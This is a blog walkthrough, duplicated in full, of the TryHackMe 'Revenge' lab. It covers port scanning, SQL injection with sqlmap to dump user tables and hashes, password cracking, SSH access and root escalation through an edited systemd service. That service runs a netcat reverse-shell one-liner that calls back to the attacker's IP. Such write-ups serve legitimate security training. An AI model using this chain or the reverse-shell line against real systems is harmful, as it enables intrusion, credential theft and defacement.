TryHackMe - Revenge

You’ve been hired by Billy Joel to get revenge on Ducky Inc…the company that fired him. Can you break into the server and complete your mission?

Created by Nameless0ne


duck

This is revenge! You’ve been hired by Billy Joel to break into and deface the Rubber Ducky Inc. webpage. He was fired for probably good reasons but who cares, you’re just here for the money. Can you fulfill your end of the bargain?

There is a sister room to this one. If you have not completed Blog yet, I recommend you do so. It’s not required but may enhance the story for you.

All images on the webapp, including the navbar brand logo, 404 and 500 pages, and product images goes to Varg. Thanks for helping me out with this one, bud.

Please hack responsibly. Do not attack a website or domain that you do not own the rights to. TryHackMe does not condone illegal hacking. This room is just for fun and to tell a story.


Flag 1

Billy sends us a note. Let’s look at what says to us.

billy

He gives us a mission. We must penetrate a server and change the front page.

Let’s begin.

First, let’s do a Nmap scan to gather information about the target.

$ nmap -sSCV 10.10.202.34

nmap

As you can see 22/tcp and 80/tcp ports are open.

Let’s explore the website.

Here is a homepage.

home

Let’s do a gobuster scan.

$ gobuster dir -u http://10.10.202.34/  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html,txt

gobuster

We found a lot of pages. Let’s explore all of them.

/contact: Upon examining the page, we don’t find anything particularly interesting.

contact

/product: It looks like there are four products.

products

Let’s examine these products.

product-1

We discover an endpoint (/product/1) that could be vulnerable to SQL injection.

To confirm this, we modify the endpoint to /product/2-1 and check if we are still on the /product/1 page.

detect

Indeed, the page is vulnerable to SQL injection.

Let’s do a sqlmap scan.

$ sqlmap -u http:/10.10.202.34/product/1 --dbs

dbs

We found the duckyinc database. Let’s examine this database.

$ sqlmap -u http:/10.10.202.34/product/1 -D duckyinc --tables

tables

Let’s dump system_user.

$ sqlmap -u http:/10.10.202.34/product/1 -D duckyinc -T system_user --dump

system

We find three users and their corresponding hashes.

Let’s dump the user table.

$ sqlmap -u http:/10.10.202.34/product/1 -D duckyinc -T user --dump

user

Well done! We find the first flag which happens to be Mandrews' credit card number.

/login:

login

/admin:

admin


Flag 2

Now, let’s crack the all hashes.

all

$ john --wordlist=/usr/share/wordlists/rockyou.txt allhash.hash

john

We find two passwords. One for the server-admin and another for the dgorman.

result

We try to use these passwords on the login and admin pages, but they don't work.

Let’s try these on ssh.

$ ssh server-admin@10.10.202.34

ssh

Yes, it is work. We are in the server now.

Let’s get the flag 2.

flag-2


Flag 3

Hint: Mission objectives

Now, we need to escalate our privileges. We start by running the sudo -l command.

sudo-l

Which shows that we can execute duckyinc.service with root privileges. We examine the contents of this file.

$ sudoedit /etc/systemd/system/duckyinc.service

service

We need to change this file.

First, let’s create a shell.sh and write in this code. (Making Sure to Change the IP and Port as Necessary)

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.86.168 4444 >/tmp/f

shell

Let’s change the content of the duckyinc.servise file.

User=root
Group=root
ExecStart=/bin/bash /home/server-admin/shell.sh

service-2

Now we need it set up a netcat listener. Then we can run the duckyinc.service.

get-root

Success! We now have root access.

root

Remember the mission. We must change the front page for the root flag.

I changed the index.html location on the server.

$ mv /var/www/duckyinc/templates/index.html

Now, we can get the root flag.

root-flag


Congratulations! We have successfully completed the steps to find all the flags. It was nice CTF. I hope you learned something and had fun. But that’s it for now till next time take care :wave:




Mr0Wido's Blog

I am passionate about all things technology-related. My thirst for knowledge knows no bounds, and I consider myself a lifelong learner.

I am passionate about all things technology-related. My thirst for knowledge knows no bounds, and I consider myself a lifelong learner.

Mr0Wido's Blog

I am passionate about all things technology-related. My thirst for knowledge knows no bounds, and I consider myself a lifelong learner.

I am passionate about all things technology-related. My thirst for knowledge knows no bounds, and I consider myself a lifelong learner.

TryHackMe - Revenge

You’ve been hired by Billy Joel to get revenge on Ducky Inc…the company that fired him. Can you break into the server and complete your mission?

Created by Nameless0ne


duck

This is revenge! You’ve been hired by Billy Joel to break into and deface the Rubber Ducky Inc. webpage. He was fired for probably good reasons but who cares, you’re just here for the money. Can you fulfill your end of the bargain?

There is a sister room to this one. If you have not completed Blog yet, I recommend you do so. It’s not required but may enhance the story for you.

All images on the webapp, including the navbar brand logo, 404 and 500 pages, and product images goes to Varg. Thanks for helping me out with this one, bud.

Please hack responsibly. Do not attack a website or domain that you do not own the rights to. TryHackMe does not condone illegal hacking. This room is just for fun and to tell a story.


Flag 1

Billy sends us a note. Let’s look at what says to us.

billy

He gives us a mission. We must penetrate a server and change the front page.

Let’s begin.

First, let’s do a Nmap scan to gather information about the target.

$ nmap -sSCV 10.10.202.34

nmap

As you can see 22/tcp and 80/tcp ports are open.

Let’s explore the website.

Here is a homepage.

home

Let’s do a gobuster scan.

$ gobuster dir -u http://10.10.202.34/  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html,txt

gobuster

We found a lot of pages. Let’s explore all of them.

/contact: Upon examining the page, we don’t find anything particularly interesting.

contact

/product: It looks like there are four products.

products

Let’s examine these products.

product-1

We discover an endpoint (/product/1) that could be vulnerable to SQL injection.

To confirm this, we modify the endpoint to /product/2-1 and check if we are still on the /product/1 page.

detect

Indeed, the page is vulnerable to SQL injection.

Let’s do a sqlmap scan.

$ sqlmap -u http:/10.10.202.34/product/1 --dbs

dbs

We found the duckyinc database. Let’s examine this database.

$ sqlmap -u http:/10.10.202.34/product/1 -D duckyinc --tables

tables

Let’s dump system_user.

$ sqlmap -u http:/10.10.202.34/product/1 -D duckyinc -T system_user --dump

system

We find three users and their corresponding hashes.

Let’s dump the user table.

$ sqlmap -u http:/10.10.202.34/product/1 -D duckyinc -T user --dump

user

Well done! We find the first flag which happens to be Mandrews' credit card number.

/login:

login

/admin:

admin


Flag 2

Now, let’s crack the all hashes.

all

$ john --wordlist=/usr/share/wordlists/rockyou.txt allhash.hash

john

We find two passwords. One for the server-admin and another for the dgorman.

result

We try to use these passwords on the login and admin pages, but they don't work.

Let’s try these on ssh.

$ ssh server-admin@10.10.202.34

ssh

Yes, it is work. We are in the server now.

Let’s get the flag 2.

flag-2


Flag 3

Hint: Mission objectives

Now, we need to escalate our privileges. We start by running the sudo -l command.

sudo-l

Which shows that we can execute duckyinc.service with root privileges. We examine the contents of this file.

$ sudoedit /etc/systemd/system/duckyinc.service

service

We need to change this file.

First, let’s create a shell.sh and write in this code. (Making Sure to Change the IP and Port as Necessary)

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.86.168 4444 >/tmp/f

shell

Let’s change the content of the duckyinc.servise file.

User=root
Group=root
ExecStart=/bin/bash /home/server-admin/shell.sh

service-2

Now we need it set up a netcat listener. Then we can run the duckyinc.service.

get-root

Success! We now have root access.

root

Remember the mission. We must change the front page for the root flag.

I changed the index.html location on the server.

$ mv /var/www/duckyinc/templates/index.html

Now, we can get the root flag.

root-flag


Congratulations! We have successfully completed the steps to find all the flags. It was nice CTF. I hope you learned something and had fun. But that’s it for now till next time take care :wave: